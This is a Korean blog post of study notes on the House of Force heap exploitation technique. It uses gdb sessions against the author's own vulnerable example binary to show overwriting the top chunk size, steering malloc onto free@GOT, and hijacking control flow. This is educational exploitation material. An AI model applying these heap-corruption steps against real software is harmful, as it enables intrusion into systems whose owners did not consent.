티스토리 뷰

Pwnable/Technique

The House of Force (kor)

err0rless313 2016. 4. 5. 20:39

REX(rex@rex.sex)님이 쓰신 BCTF bcloud exploit을 통해 Heap exploit중 House of force에 관하여 공부해봤다.

+ 개인적인 공부를 위하여 작성된 글입니다. 오타지적이나 어느 부분의 내용이 참 쓰레기 같다 하시면 댓글로 남기거나 욕을 해주세요.

+ 이해가 안되는 부분은 (제 필력이 유감스럽기 때문에) References에 자세하게 설명되어 있습니다.



내가 지금까지 알던 Heap exploit은 linked list 객체의 BK(backward), FD(Forward)를 조작하여 GOT를 덮고 쉘코드나 System@libc를 실행시키는 것이 전부였다.

(아마도 DEFCON baby first heap문제가 비슷한 문제였던것 같다. http://v0ids3curity.blogspot.kr/2014/05/defcon-quals-2014-babys-first-heap-team.html)



하지만 위와 같은 Memory corruption등이 새로운 버전의 GLIBC가 업데이트 됨에 따라서 불가능해졌고, 

(Reference 첫번째 링크에서는 BK와 FD를 검사하는 구문이 추가되었다고 한다.)

새로운 기술들이 나오기 시작했다. 역시 첫번째 링크에서는 아래와 같이 서술해 놓았다.


  • The House of Prime: Requires two free's of chunks containing attacker controlled size fields, followed by a call to malloc.
  • The House of Mind: Requires the manipulation of the program into repeatedly allocating new memory.
  • The House of Force: Requires that we can overwrite the top chunk, that there is one malloc call with a user controllable size, and finally requires another call to malloc.
  • The House of Lore: Again not applicable to our example program.
  • The House of Spirit: One assumption is that the attacker controls a pointer given to free, so again this technique cannot be used.
  • The House of Chaos: This isn't actually a technique, just a section in the article :)


뭐랄까 이름이 다 The House of ~~~로 되어 있고 이 포스트에서 다룰 기술은 The House of Force 이다. 


The House of Force기술은 Top chunk를 덮을 수 있어야 하며 유저가 사이즈를 컨트롤 할 수 있는 malloc이 호출되어야 가능하다.

그리고 추가적으로 한번 더 malloc이 call 되어야 한다.


Top chunk는 레퍼런스에서 아래와 같이 설명된다.

the top chunk represents the remaining available memory on the heap, and it is the only chunk that can grow in size.

Heap에서 사용가능한 공간을 표현하며, 사이즈가 커질 수 있는 유일한 Chunk다.


malloc(256);

malloc(512);

malloc(1024);


Meta-data of chunk created by malloc(256)
The 256 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(512)
The 512 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(1024)
The 1024 bytes of memory return by malloc
-----------------------------------------
Meta-data of the top chunk

<malloc 표현도>



레퍼런스에서는 위와같이 표현하였다.

만약 malloc(1024); 뒤에 malloc(2048); 이 한번 더 호출된다면 아래와 같은 모양이 될 것이다.



Meta-data of chunk created by malloc(256)
The 256 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(512)
The 512 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(1024)
The 1024 bytes of memory return by malloc
-----------------------------------------

Meta-data of chunk created by malloc(2048)
The 1024 bytes of memory return by malloc

-----------------------------------------

Meta-data of the top chunk

<새롭게 추가된 malloc(2048) chunk>




<example.c>


그 전 malloc chunk의 size가 그 다음 malloc chunk의 위치에 어떠한 영향을 끼치는지 GDB로 확인해보자.



(gdb) r $(python -c 'print "A" * 256') 10 $(python -c 'print "B" * 100')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/err0rless/pwnable/tech/HOUSE_OF_FORCE/vuln $(python -c 'print "A" * 256') 10 $(python -c 'print "B" * 100')


Breakpoint 2, 0x08048586 in main ()

(gdb) x/100wx 0x804b000

0x804b000: 0x00000000 0x00000109 0x41414141 0x41414141

0x804b010: 0x41414141 0x41414141 0x41414141 0x41414141

0x804b020: 0x41414141 0x41414141 0x41414141 0x41414141

...

...

0x804b100: 0x41414141 0x41414141 0x00000000 0x00000019

0x804b110: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b120: 0x00000000 0x00000109 0x42424242 0x42424242

0x804b130: 0x42424242 0x42424242 0x42424242 0x42424242

0x804b140: 0x42424242 0x42424242 0x42424242 0x42424242

0x804b150: 0x42424242 0x42424242 0x42424242 0x42424242

0x804b160: 0x42424242 0x42424242 0x42424242 0x42424242

0x804b170: 0x42424242 0x42424242 0x42424242 0x42424242

0x804b180: 0x42424242 0x42424242 0x42424242 0x00000000



두번째 malloc size를 0x10으로 설정해두었을 때는 세번째 malloc chunk가 0x0804b138에서 시작한다.

그럼 두번째 malloc size의 크기를 조금더 크게 설정해보도록 하자.



(gdb) r $(python -c 'print "A" * 256') 50 $(python -c 'print "B" * 100')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/err0rless/pwnable/tech/HOUSE_OF_FORCE/vuln $(python -c 'print "A" * 256') 50 $(python -c 'print "B" * 100')


Breakpoint 2, 0x08048586 in main ()

(gdb) x/100wx 0x804b000

0x804b000: 0x00000000 0x00000109 0x41414141 0x41414141

0x804b010: 0x41414141 0x41414141 0x41414141 0x41414141

0x804b020: 0x41414141 0x41414141 0x41414141 0x41414141

...

...

0x804b0f0: 0x41414141 0x41414141 0x41414141 0x41414141

0x804b100: 0x41414141 0x41414141 0x00000000 0x00000059

0x804b110: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b120: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b130: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b140: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b150: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b160: 0x00000000 0x00000109 0x42424242 0x42424242

0x804b170: 0x42424242 0x42424242 0x42424242 0x42424242

0x804b180: 0x42424242 0x42424242 0x42424242 0x42424242




두번째 malloc size를 0x50으로 설정했을 시에는 0x0804b168에서 시작하는 것을 확인 할 수 있다.

만약 조금 더 큰값을 넣게 되면 조금더 아래로 밀리게 될 것이다.




그러면 다시 본론으로 돌아와서, 어떻게 example.c를 exploit 할 것인가! 이다.

사실 strcpy를 사용하였기 때문에 첫번째 malloc chunk에 값을 많이 넣어서 top chunk의 size를 0xffffffff로 덮어버리고 

두번째 malloc의 사이즈를 적절한 값으로 변조하여 세번째 malloc chunk를 우리가 원하는 주소에 할당되게 하면 된다.


여기서 Top chunk를 0xffffffff로 덮는 이유는 두번째 malloc에서 exploit을 가능하게 하는 충분히 큰 malloc (malloc(0xffffeef4)와 같은 큰 size의 malloc)

을 호출하기 위함이다.


<우리는 이 코드에서 av->top을 덮어야 한다.>


다시 계산해보면 Top chunk의 시작 주소는 0x804b110이고 이곳에서 두번째 malloc이 시작될 것이다.

또한 우리는 두번째 malloc의 사이즈를 컨트롤 할 수 있고, 그 값은 (FREE@GOT - &TOP_CHUNK) - 0x08 가 되어야 한다.

(8을 빼주는 이유는 meta-data의 크기가 포함되어 있기 때문이다. (prev_size, size))


(gdb) p /x 0x0804a00c - 0x08 - 0x804b110

$3 = 0xffffeef4



두번째 malloc size를 0xffffeef4로 주면 세번째 malloc은 free@got - 4 정도에 할당될 것이고, example.c line16에서 strcpy를 하여 우리가 원하는 값을

free@got에 써 넣을 수 있다.


(gdb) r $(python -c 'print "A" * 260 + "\xFF\xFF\xFF\xFF"') FFFFEEF4 AAAADDDD (0x4141414144444444)

Starting program: /home/err0rless/pwnable/tech/HOUSE_OF_FORCE/vuln $(python -c 'print "A" * 260 + "\xFF\xFF\xFF\xFF"') FFFFEEF4 AAAADDDD


Program received signal SIGSEGV, Segmentation fault.

0x44444444 in ?? ()


(gdb) x/wx 0x0804a00c

0x804a00c <free@got.plt>: 0x44444444





References

http://www.mathyvanhoef.com/2013/02/understanding-heap-exploiting-heap.html

https://gbmaster.wordpress.com/2015/06/28/x86-exploitation-101-house-of-force-jedi-overflow/

http://rex.sex/ctf/2016/bctf/bcloud/ex.py (도메인 나이스 ^^)



댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함